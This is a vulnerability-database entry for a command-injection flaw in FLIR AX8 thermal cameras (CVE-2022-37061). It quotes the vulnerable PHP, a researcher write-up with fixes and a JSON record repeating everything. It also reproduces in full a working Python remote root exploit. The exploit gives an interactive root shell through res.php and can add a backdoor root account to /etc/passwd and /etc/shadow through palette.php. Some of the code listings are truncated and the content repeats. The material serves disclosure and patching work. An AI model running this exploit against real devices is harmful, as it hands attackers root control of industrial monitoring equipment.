var-202208-1439
Vulnerability from variot

All FLIR AX8 thermal sensor cameras version up to and including 1.46.16 are vulnerable to Remote Command Injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. FLIR Systems, Inc. of flir ax8 The firmware has OS A command injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. <?php
2. if (isset($_POST["action"])) {
3. if(isset($_POST["resource"]))
6. {
7. if (!file_exists("/FLIR/system/journal.d/horizontal_flip.cfg")) {
10. break;
12. }
13. break;
15. if (!file_exists("/FLIR/system/journal.d/vertical_flip.cfg")) {
17. break;
19. }
20. break;
22. default:
23. }
25. }

--------------------------------------------------------------------------------
/FLIR/usr/www/palette.php:
--------------------------
1. <?php
2. if(isset($_POST["palette"])){
3. shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette ".$_POST["palette"]);
4. }
6. ?>

--------------------------------------------------------------------------------

Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l)lighttpd/1.4.33PHP/5.4.14. #!/usr/bin/env python

-- coding: utf-8 --

FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Remote Root Exploit

Vendor: FLIR Systems, Inc. The AX8 helps

you guard against unplanned outages, service interruptions, and equipment

failure.

The FLIR AX series camera/sensor also has built-in support to connect to

industrial control equipment such as programmable logic controllers (PLCs),

and allows the sharing of analysis and alarm results and simple control

using the Ethernet/IP and Modbus TCP field bus protocols. Compact and easy

to install, the AX8 provides continuous monitoring of electrical cabinets,

process and manufacturing areas, data centers, energy generation and distribution,

transportation and mass transit, storage facilities and refrigeration warehouses. The issues can be triggered when calling

multiple unsanitized HTTP GET/POST parameters within the shell_exec function

in res.php and palette.php file.

=============================================================================

/FLIR/usr/www/res.php:

----------------------

1. <?php

2. if (isset($_POST["action"])) {

3. switch ($_POST["action"]) {

4. case "get":

5. if(isset($_POST["resource"]))

6. switch ($_POST["resource"]) {

8. case ".rtp.hflip":

9. if (!file_exists("/FLIR/system/journal.d/horizontal_flip.cfg")) {

10. $result = "false";

11. break;

12. $result = file_get_contents("/FLIR/system/journal.d/horizontal_flip.cfg") === "1" ? "true" : "false";

14. break;

15. case ".rtp.vflip":

16. if (!file_exists("/FLIR/system/journal.d/vertical_flip.cfg")) {

17. $result = "false";

18. break;

19. $result = file_get_contents("/FLIR/system/journal.d/vertical_flip.cfg") === "1" ? "true" : "false";

21. break;

22. default:

23. $result = trim(shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -o ".$_POST["resource"]));

24. }

=============================================================================

/FLIR/usr/www/palette.php:

--------------------------

1. <?php

2. if(isset($_POST["palette"])){

3. shell_exec("LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette ".$_POST["palette"]);

4. echo json_encode(array("success"));

5. ?>

=============================================================================

Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l)

lighttpd/1.4.33

PHP/5.4.14

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2018-5491

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5491.php

26.07.2018

import requests import colorama import random## import time#### import json#### import sys##### import os######

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2: print '\n\x20\x20[*] Usage: '+piton+' \n' sys.exit()

bannah = """ .---------------------------------. | 1984 Pictures | | | | presents | | ___ | | [| |=|{)__ | | |___| \/ ) | | /|\ /| | | / | \ | \ | .---------------------------------. """ print bannah time.sleep(4) os.system('clear')

print '\nFLIR AX8 Thermal Camera Remote Root Exploit' print 'By Zero Science Lab'

ICU = ''' `./+ooosoooooo+/.` `.+ss+//:::::::://+ss+.` -oyo/::::-------:::::/oyo- `/yo+:::-------.------:::+oy/` `+yo+::---...........----:/+oy+` `/yo++/--...../+oo+:....---:/+oy/` `ss++//:-.../yhhhhhhy/...-://++ss` .ho++/::--.-yhhddddhhy-.--:://+oh. .ho+//::---/mmmmmmmmmm:---::/++oh. `ss++//::---+mNNNNNNm+---:://++ss` `/yo+//:::----+syys+-----://++oy/` `+yo++//:::-----------:://++oy+` `/yo++///:::::-:::::://+++oy/` .oyo+++////////////+++oyo. `.+ssoo++++++++++ooss+.` `./+osssssssso+/.`
'''

colors = list(vars(colorama.Fore).values()) colored_chars = [random.choice(colors) + char for char in ICU]

print(''.join(colored_chars))

print print '\x1b[1;37;44m'+'To freeze the stream run: '+'\x1b[0m'+' /FLIR/usr/bin/freeze on' print '\x1b[1;37;41m'+'To unfreeze the stream run: '+'\x1b[0m'+' /FLIR/usr/bin/freeze off\n'

print '[*] Additional commands:' print ' [+] \'addroot\' for add root user.' print ' [+] \'exit\' for exit.\n'

while True:

zeTargets = 'http://'+sys.argv[1]+'/res.php'
zeCommand = raw_input('\x1b[0;96;49m'+'root@neco-0J0X17:~# '+'\x1b[0m')
zeHeaders = {'Cache-Control'   : 'max-age=0',
             'User-Agent'      : 'thricer/251.4ev4h',
             'Accept'          : 'text/html,application/xhtml+xml',
             'Accept-Encoding' : 'gzip, deflate',
             'Accept-Language' : 'mk-MK,mk;q=1.7',
             'Connection'      : 'close',
             'Connection-Type' : 'application/x-www-form-urlencoded'}
zePardata = {'action'          : 'get',
             'resource'        : ';'+zeCommand}

try:

    zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)
    print json.loads(zeRequest.text)

    if zeCommand.strip() == 'exit':
        sys.exit()

    if zeCommand.strip() == 'addroot':
        print '[+] Blind command injection using palette.php...'
        print '[+] Adding user \'roOt\' with password \'rewt\' in shadow file...'

        nuTargets = 'http://'+sys.argv[1]+'/palette.php'
        nuHeaders = zeHeaders

        nuHexstrn = ('\\x72\\x6f\\x4f\\x74\\x3a\\x24\\x31'
                     '\\x24\\x4d\\x4a\\x4f\\x6e\\x56\\x2f'
                     '\\x59\\x33\\x24\\x74\\x44\\x6e\\x4d'
                     '\\x49\\x42\\x4d\\x79\\x30\\x6c\\x45'
                     '\\x51\\x32\\x6b\\x44\\x70\\x66\\x67'
                     '\\x54\\x4a\\x50\\x30\\x3a\\x31\\x36'
                     '\\x39\\x31\\x34\\x3a\\x30\\x3a\\x39'
                     '\\x39\\x39\\x39\\x39\\x3a\\x37\\x3a'
                     '\\x3a\\x3a\\x0a\\x0d')

        nuPadata1 = {'palette' : '1;echo \"roOt:x:0:0:pwn:/sys:/bin/bash\" >> /etc/passwd'}
        nuPadata2 = {'palette' : '1;echo -n -e \"'+nuHexstrn+'\" >> /etc/shadow'}

        requests.post(nuTargets, headers=nuHeaders, data=nuPadata1)
        time.sleep(2)
        requests.post(nuTargets, headers=nuHeaders, data=nuPadata2)

        print '[*] Success!\n'
    else: pass

except Exception:
    print '[*] Error!'
    break

sys.exit() . # FLIR AX8 vulnerabilities.

Product description:

The FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment.

  • [CVE-2022-37060] - Unauthenticated Directory Traversal.

FLIR AX8 is affected by a directory traversal vulnerability due to an improper access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains directory traversal characters, to disclose the contents of files located outside of the server's restricted path.

  • [CVE-2022-37062] - Improper Access Control.

FLIR AX8 is affected by an insecure design vulnerability due to an improper directory access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains the path of the SQLite users database, and download it.

  • [CVE-2022-37063] - Reflected cross-site scripting.

FLIR AX8 is affected by a reflected cross-site scripting (XSS) vulnerability due to an improper input sanitization. An authenticated, remote attacker can execute arbitrary JavaScript code in the web management interface.

Step by Step Example (How to Reproduce and verify) the vulnerabilities:

The endpoint /res.php can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate. In the example below we create a crafted query that displays the contents of the /etc/shadow file.

The server returns a JSON response containing the contents of the /etc/shadow file.

  1. Unauthenticated Directory Traversal.

The endpoint /download.php can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate. The second problem is that the GET parameter file can be injected with a relative file paths and download any files in the system. In the example below we create a crafted query that download the contents of the /etc/passwd file.

The error is due to the fact that there is no sanitization of the $file_path variable, line 26, when the fopen() function is called, line 39. However a comment in the code, line 24, and the use of the function pathinfo(), line 28, suggests that the developer thought about this problem and therefore created the variable $path_parts which is sanitized. But for some reasons the developer does not use the sanitizer variable $path_parts when the function fopen() is used. Probably an oversight.

  1. Improper Access Control.

The endpoint /FLIR/db/users.db can be called remotely without user authentication as there is no cookie verification Cookie: PHPSESSID=ID to check if the request is legitimate and let any malicious actor to download the users.db SQLite database.

  1. Reflected cross-site scripting.

In the settings tab, if a file with a filename that contains JavaScript code is selected via the update firmware file input the JavaScript code will be triggered and executed. In our example, we created a file call

.run

Recommendations for how to fix the 4 vulnerabilities:

  • Vulnerability 1: The variable $_POST["id"], line 65 in the file /FLIR/usr/www/res.php, must be sanitized using the function intval() and will remove any character other than integer value. escapeshellcmd() and escapeshellarg() must be also used to escapes any characters in a string that might be used to execute arbitrary commands.

More info: https://www.php.net/intval https://www.php.net/manual/en/function.escapeshellcmd https://www.php.net/manual/en/function.escapeshellarg

  • Vulnerability 2: The variable $file_path, line 39 in the file /FLIR/usr/www/download.php, must be sanitized using the function pathinfo() but also use a hard coded directory path, in case you need to manage several directories set a whitelist of all allowed directories and use multiple conditions.

More info: https://www.php.net/manual/en/function.pathinfo

  • Vulnerability 3: Define a whitelist of all directories that a user is allowed to access. This can be added to the Lighttpd server configuration file, in /etc/lighttpd.conf.

More info: https://www.cyberciti.biz/tips/howto-lighttpd-enable-disable-directory-listing.html

  • Vulnerability 4: To protect against filename XSS attack you can use a regex that will parse the filename to leave only numbers and letters.

More info: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Reference:

https://www.flir.com/products/ax8-automation/

Security researchers:

  • [Thomas Knudsen] (https://www.linkedin.com/in/thomasjknudsen)
  • [Samy Younsi] (https://www.linkedin.com/in/samy-younsi)

Show details on source website

To clipboard 

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202208-1439",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "ax8",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "flir",
        "version": "1.46.16"
      },
      {
        "model": "ax8",
        "scope": "eq",
        "trust": 0.8,
        "vendor": "flir",
        "version": null
      },
      {
        "model": "ax8",
        "scope": null,
        "trust": 0.8,
        "vendor": "flir",
        "version": null
      },
      {
        "model": "ax8",
        "scope": "lte",
        "trust": 0.8,
        "vendor": "flir",
        "version": "flir ax8  firmware  1.46.16  and earlier"
      },
      {
        "model": "systems flir ax8 thermal camera",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "flir",
        "version": "1.17.13"
      },
      {
        "model": "systems flir ax8 thermal camera",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "flir",
        "version": "os: neco_v1.8-0-g7ffe5b3"
      },
      {
        "model": "systems flir ax8 thermal camera",
        "scope": "eq",
        "trust": 0.1,
        "vendor": "flir",
        "version": "hardware: flir systems neco board"
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:flir:flir_ax8_firmware:*:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "versionEndIncluding": "1.46.16",
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:flir:flir_ax8:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Samy Younsi",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ],
    "trust": 0.6
  },
  "cve": "CVE-2022-37061",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "NVD",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.0,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          {
            "attackComplexity": "Low",
            "attackVector": "Network",
            "author": "NVD",
            "availabilityImpact": "High",
            "baseScore": 9.8,
            "baseSeverity": "Critical",
            "confidentialityImpact": "High",
            "exploitabilityScore": null,
            "id": "CVE-2022-37061",
            "impactScore": null,
            "integrityImpact": "High",
            "privilegesRequired": "None",
            "scope": "Unchanged",
            "trust": 0.8,
            "userInteraction": "None",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "NVD",
            "id": "CVE-2022-37061",
            "trust": 1.8,
            "value": "CRITICAL"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-202208-3378",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "ZSL",
            "id": "ZSL-2018-5491",
            "trust": 0.1,
            "value": "(5/5)"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "ZSL",
        "id": "ZSL-2018-5491"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2022-014925"
      },
      {
        "db": "NVD",
        "id": "CVE-2022-37061"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-202208-3378"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "All FLIR AX8 thermal sensor cameras version up to and including 1.46.16 are vulnerable to Remote Command Injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with the root privileges. FLIR Systems, Inc. of flir ax8 The firmware has OS A command injection vulnerability exists.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. \u0026lt;?php\u003cbr/\u003e 2.   if (isset($_POST[\"action\"])) {\u003cbr/\u003e 3.         if(isset($_POST[\"resource\"]))\u003cbr/\u003e 6.         {\u003cbr/\u003e 7.               if (!file_exists(\"/FLIR/system/journal.d/horizontal_flip.cfg\")) {\u003cbr/\u003e 10.                break;\u003cbr/\u003e 12.              }\u003cbr/\u003e 13.              break;\u003cbr/\u003e 15.              if (!file_exists(\"/FLIR/system/journal.d/vertical_flip.cfg\")) {\u003cbr/\u003e 17.                break;\u003cbr/\u003e 19.              }\u003cbr/\u003e 20.              break;\u003cbr/\u003e 22.            default:\u003cbr/\u003e 23.          }\u003cbr/\u003e 25.        }\u003cbr/\u003e\u003cbr/\u003e --------------------------------------------------------------------------------\u003cbr/\u003e /FLIR/usr/www/palette.php:\u003cbr/\u003e --------------------------\u003cbr/\u003e 1. \u0026lt;?php\u003cbr/\u003e 2.   if(isset($_POST[\"palette\"])){\u003cbr/\u003e 3.     shell_exec(\"LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette \".$_POST[\"palette\"]);\u003cbr/\u003e 4.   }\u003cbr/\u003e 6. ?\u0026gt;\u003cbr/\u003e\u003c/code\u003e\u003cbr/\u003e\t--------------------------------------------------------------------------------\u003cbr/\u003e\u003cbr/\u003eTested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l)lighttpd/1.4.33PHP/5.4.14. #!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Remote Root Exploit\n#\n#\n# Vendor: FLIR Systems, Inc. The AX8 helps\n# you guard against unplanned outages, service interruptions, and equipment\n# failure. \n#\n# The FLIR AX series camera/sensor also has built-in support to connect to\n# industrial control equipment such as programmable logic controllers (PLCs),\n# and allows the sharing of analysis and alarm results and simple control\n# using the Ethernet/IP and Modbus TCP field bus protocols. Compact and easy\n# to install, the AX8 provides continuous monitoring of electrical cabinets,\n# process and manufacturing areas, data centers, energy generation and distribution,\n# transportation and mass transit, storage facilities and refrigeration warehouses. The issues can be triggered when calling\n# multiple unsanitized HTTP GET/POST parameters within the shell_exec function\n# in res.php and palette.php file. \n#\n# =============================================================================\n# /FLIR/usr/www/res.php:\n# ----------------------\n# 1. \u003c?php\n# 2.   if (isset($_POST[\"action\"])) {\n# 3.     switch ($_POST[\"action\"]) {\n# 4.       case \"get\":\n# 5.         if(isset($_POST[\"resource\"]))\n# 6.           switch ($_POST[\"resource\"]) {\n# 8.             case \".rtp.hflip\":\n# 9.               if (!file_exists(\"/FLIR/system/journal.d/horizontal_flip.cfg\")) {\n# 10.                $result = \"false\";\n# 11.                break;\n# 12.              $result = file_get_contents(\"/FLIR/system/journal.d/horizontal_flip.cfg\") === \"1\" ? \"true\" : \"false\";\n# 14.              break;\n# 15.            case \".rtp.vflip\":\n# 16.              if (!file_exists(\"/FLIR/system/journal.d/vertical_flip.cfg\")) {\n# 17.                $result = \"false\";\n# 18.                break;\n# 19.              $result = file_get_contents(\"/FLIR/system/journal.d/vertical_flip.cfg\") === \"1\" ? \"true\" : \"false\";\n# 21.              break;\n# 22.            default:\n# 23.              $result = trim(shell_exec(\"LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/rls -o \".$_POST[\"resource\"]));\n# 24.        }\n#\n# =============================================================================\n# /FLIR/usr/www/palette.php:\n# --------------------------\n# 1. \u003c?php\n# 2.   if(isset($_POST[\"palette\"])){\n# 3.     shell_exec(\"LD_LIBRARY_PATH=/FLIR/usr/lib /FLIR/usr/bin/palette \".$_POST[\"palette\"]);\n# 4.     echo json_encode(array(\"success\"));\n# 5. ?\u003e\n#\n# =============================================================================\n#\n#\n# Tested on: GNU/Linux 3.0.35-flir+gfd883a0 (armv7l)\n#            lighttpd/1.4.33\n#            PHP/5.4.14\n#\n#\n# Vulnerability discovered by Gjoko \u0027LiquidWorm\u0027 Krstic\n#                             @zeroscience\n#\n#\n# Advisory ID: ZSL-2018-5491\n# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5491.php\n#\n#\n# 26.07.2018\n#\n\nimport requests\nimport colorama\nimport random##\nimport time####\nimport json####\nimport sys#####\nimport os######\n\npiton = os.path.basename(sys.argv[0])\n\nif len(sys.argv) \u003c 2:\n    print \u0027\\n\\x20\\x20[*] Usage: \u0027+piton+\u0027 \u003cip:port\u003e\\n\u0027\n    sys.exit()\n\nbannah = \"\"\"\n.---------------------------------. \n|         1984 Pictures           |\n|                                 |\n|            presents             |\n|                  ___            |\n|                [|   |=|{)__     |\n|                 |___| \\/   )    |\n|                  /|\\      /|    |\n|                 / | \\     | \\\\   |\n.---------------------------------. \n\"\"\"\nprint bannah\ntime.sleep(4)\nos.system(\u0027clear\u0027)\n\nprint \u0027\\nFLIR AX8 Thermal Camera Remote Root Exploit\u0027\nprint \u0027By Zero Science Lab\u0027\n\nICU = \u0027\u0027\u0027\n                ````````                \n           `./+ooosoooooo+/.`           \n        `.+ss+//:::::::://+ss+.`        \n       -oyo/::::-------:::::/oyo-       \n     `/yo+:::-------.------:::+oy/`     \n    `+yo+::---...........----:/+oy+`    \n   `/yo++/--...../+oo+:....---:/+oy/`   \n   `ss++//:-.../yhhhhhhy/...-://++ss`   \n   .ho++/::--.-yhhddddhhy-.--:://+oh.   \n   .ho+//::---/mmmmmmmmmm:---::/++oh.   \n   `ss++//::---+mNNNNNNm+---:://++ss`   \n   `/yo+//:::----+syys+-----://++oy/`   \n    `+yo++//:::-----------:://++oy+`    \n     `/yo++///:::::-:::::://+++oy/`     \n       .oyo+++////////////+++oyo.       \n        `.+ssoo++++++++++ooss+.`        \n           `./+osssssssso+/.`           \n                ````````                \n\u0027\u0027\u0027\n\ncolors = list(vars(colorama.Fore).values())\ncolored_chars = [random.choice(colors) + char for char in ICU]\n\nprint(\u0027\u0027.join(colored_chars))\n\nprint\nprint \u0027\\x1b[1;37;44m\u0027+\u0027To freeze the stream run:   \u0027+\u0027\\x1b[0m\u0027+\u0027 /FLIR/usr/bin/freeze on\u0027\nprint \u0027\\x1b[1;37;41m\u0027+\u0027To unfreeze the stream run: \u0027+\u0027\\x1b[0m\u0027+\u0027 /FLIR/usr/bin/freeze off\\n\u0027\n\nprint \u0027[*] Additional commands:\u0027\nprint \u0027 [+] \\\u0027addroot\\\u0027 for add root user.\u0027\nprint \u0027 [+] \\\u0027exit\\\u0027 for exit.\\n\u0027\n\nwhile True:\n\n    zeTargets = \u0027http://\u0027+sys.argv[1]+\u0027/res.php\u0027\n    zeCommand = raw_input(\u0027\\x1b[0;96;49m\u0027+\u0027root@neco-0J0X17:~# \u0027+\u0027\\x1b[0m\u0027)\n    zeHeaders = {\u0027Cache-Control\u0027   : \u0027max-age=0\u0027,\n                 \u0027User-Agent\u0027      : \u0027thricer/251.4ev4h\u0027,\n                 \u0027Accept\u0027          : \u0027text/html,application/xhtml+xml\u0027,\n                 \u0027Accept-Encoding\u0027 : \u0027gzip, deflate\u0027,\n                 \u0027Accept-Language\u0027 : \u0027mk-MK,mk;q=1.7\u0027,\n                 \u0027Connection\u0027      : \u0027close\u0027,\n                 \u0027Connection-Type\u0027 : \u0027application/x-www-form-urlencoded\u0027}\n    zePardata = {\u0027action\u0027          : \u0027get\u0027,\n                 \u0027resource\u0027        : \u0027;\u0027+zeCommand}\n\n    try:\n\n        zeRequest = requests.post(zeTargets, headers=zeHeaders, data=zePardata)\n        print json.loads(zeRequest.text)\n\n        if zeCommand.strip() == \u0027exit\u0027:\n            sys.exit()\n\n        if zeCommand.strip() == \u0027addroot\u0027:\n            print \u0027[+] Blind command injection using palette.php...\u0027\n            print \u0027[+] Adding user \\\u0027roOt\\\u0027 with password \\\u0027rewt\\\u0027 in shadow file...\u0027\n\n            nuTargets = \u0027http://\u0027+sys.argv[1]+\u0027/palette.php\u0027\n            nuHeaders = zeHeaders\n\n            nuHexstrn = (\u0027\\\\x72\\\\x6f\\\\x4f\\\\x74\\\\x3a\\\\x24\\\\x31\u0027\n                         \u0027\\\\x24\\\\x4d\\\\x4a\\\\x4f\\\\x6e\\\\x56\\\\x2f\u0027\n                         \u0027\\\\x59\\\\x33\\\\x24\\\\x74\\\\x44\\\\x6e\\\\x4d\u0027\n                         \u0027\\\\x49\\\\x42\\\\x4d\\\\x79\\\\x30\\\\x6c\\\\x45\u0027\n                         \u0027\\\\x51\\\\x32\\\\x6b\\\\x44\\\\x70\\\\x66\\\\x67\u0027\n                         \u0027\\\\x54\\\\x4a\\\\x50\\\\x30\\\\x3a\\\\x31\\\\x36\u0027\n                         \u0027\\\\x39\\\\x31\\\\x34\\\\x3a\\\\x30\\\\x3a\\\\x39\u0027\n                         \u0027\\\\x39\\\\x39\\\\x39\\\\x39\\\\x3a\\\\x37\\\\x3a\u0027\n                         \u0027\\\\x3a\\\\x3a\\\\x0a\\\\x0d\u0027)\n\n            nuPadata1 = {\u0027palette\u0027 : \u00271;echo \\\"roOt:x:0:0:pwn:/sys:/bin/bash\\\" \u003e\u003e /etc/passwd\u0027}\n            nuPadata2 = {\u0027palette\u0027 : \u00271;echo -n -e \\\"\u0027+nuHexstrn+\u0027\\\" \u003e\u003e /etc/shadow\u0027}\n\n            requests.post(nuTargets, headers=nuHeaders, data=nuPadata1)\n            time.sleep(2)\n            requests.post(nuTargets, headers=nuHeaders, data=nuPadata2)\n            \n            print \u0027[*] Success!\\n\u0027\n        else: pass\n\n    except Exception:\n        print \u0027[*] Error!\u0027\n        break\n\nsys.exit()\n. # FLIR AX8 vulnerabilities. \n\n### Product description:\n\nThe FLIR AX8 is a thermal sensor with imaging capabilities, combining thermal and visual cameras that provides continuous temperature monitoring and alarming for critical electrical and mechanical equipment. \n\n* [CVE-2022-37060] - Unauthenticated Directory Traversal. \n\nFLIR AX8 is affected by a directory traversal vulnerability due to an improper access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains directory traversal characters, to disclose the contents of files located outside of the server\u0027s restricted path. \n\n* [CVE-2022-37062] - Improper Access Control. \n\nFLIR AX8 is affected by an insecure design vulnerability due to an improper directory access restriction. An unauthenticated, remote attacker can exploit this, by sending a URI that contains the path of the SQLite users database, and download it. \n\n* [CVE-2022-37063] - Reflected cross-site scripting. \n\nFLIR AX8 is affected by a reflected cross-site scripting (XSS) vulnerability due to an improper input sanitization. An authenticated, remote attacker can execute arbitrary JavaScript code in the web management interface. \n\n###  Step by Step Example (How to Reproduce and verify) the vulnerabilities:\n\n1. \n\nThe endpoint `/res.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate. In the example below we create a crafted query that displays the contents of the `/etc/shadow` file. \n\nThe server returns a JSON response containing the contents of the `/etc/shadow` file. \n\n2. Unauthenticated Directory Traversal. \n\nThe endpoint `/download.php` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate. The second problem is that the GET parameter `file` can be injected with a relative file paths and download any files in the system. In the example below we create a crafted query that download the contents of the `/etc/passwd` file. \n\nThe error is due to the fact that there is no sanitization of the `$file_path` variable, line 26, when the `fopen()` function is called, line 39. However a comment in the code, line 24, and the use of the function `pathinfo()`, line 28, suggests that the developer thought about this problem and therefore created the variable `$path_parts` which is sanitized. But for some reasons the developer does not use the sanitizer variable `$path_parts` when the function `fopen()` is used. Probably an oversight. \n\n3. Improper Access Control. \n\nThe endpoint `/FLIR/db/users.db` can be called remotely without user authentication as there is no cookie verification `Cookie: PHPSESSID=ID` to check if the request is legitimate and let any malicious actor to download the `users.db` SQLite database. \n\n4. Reflected cross-site scripting. \n\nIn the settings tab, if a file with a filename that contains JavaScript code is selected via the update firmware file input the JavaScript code will be triggered and executed. In our example, we created a file call \n\n\u003cimg src=x 